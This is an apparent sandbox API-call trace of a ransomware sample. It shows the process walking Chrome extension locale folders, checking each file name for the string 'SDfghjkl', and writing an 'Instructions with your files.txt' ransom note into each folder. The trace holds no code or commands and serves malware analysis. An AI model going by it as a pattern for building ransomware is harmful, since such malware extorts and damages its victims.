[0130.229] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834608b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83462fc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83462fc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1
[0130.229] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi") returned 150
[0130.229] GetProcessHeap () returned 0x810000
[0130.229] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.229] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\*") returned 152
[0130.229] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834608b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83462fc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83462fc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.230] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\.") returned 152
[0130.230] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834608b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83462fc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83462fc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.230] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\..") returned 153
[0130.230] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83462fc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83462fc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3f4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.230] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\messages.json") returned 164
[0130.230] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.230] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83462fc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83462fc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3f4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.230] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\Instructions with your files.txt") returned 183
[0130.231] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.231] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.232] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.232] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.232] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.232] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.232] CloseHandle (hObject=0x134) returned 1
[0130.232] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.232] GetProcessHeap () returned 0x810000
[0130.232] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.232] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83467de0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8346cc00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8346cc00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fil", cAlternateFileName="")) returned 1
[0130.232] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil") returned 151
[0130.232] GetProcessHeap () returned 0x810000
[0130.232] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.232] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\*") returned 153
[0130.232] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83467de0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8346cc00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8346cc00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.233] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\.") returned 153
[0130.233] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83467de0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8346cc00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8346cc00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.233] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\..") returned 154
[0130.233] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8346cc00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83471a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4082, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.233] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\messages.json") returned 165
[0130.233] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.233] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8346cc00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83471a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4082, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.233] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\Instructions with your files.txt") returned 184
[0130.233] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.233] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.234] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.234] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.234] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.235] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.235] CloseHandle (hObject=0x134) returned 1
[0130.235] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.235] GetProcessHeap () returned 0x810000
[0130.235] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.235] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83476840, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83478f50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83478f50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1
[0130.235] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr") returned 150
[0130.235] GetProcessHeap () returned 0x810000
[0130.235] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.235] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\*") returned 152
[0130.235] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83476840, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83478f50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83478f50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.240] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\.") returned 152
[0130.240] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83476840, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83478f50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83478f50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.240] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\..") returned 153
[0130.240] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83478f50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83478f50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x419f, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.240] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\messages.json") returned 164
[0130.240] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.240] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83478f50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83478f50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x419f, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.240] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\Instructions with your files.txt") returned 183
[0130.240] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.240] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.241] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.241] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.242] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.242] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.242] CloseHandle (hObject=0x134) returned 1
[0130.242] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.242] GetProcessHeap () returned 0x810000
[0130.242] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.242] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8347dd70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83480480, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83480480, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gu", cAlternateFileName="")) returned 1
[0130.242] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu") returned 150
[0130.242] GetProcessHeap () returned 0x810000
[0130.242] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.242] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\*") returned 152
[0130.242] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8347dd70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83480480, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83480480, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.242] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\.") returned 152
[0130.243] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8347dd70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83480480, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83480480, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.243] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\..") returned 153
[0130.243] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83480480, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83480480, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x5079, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
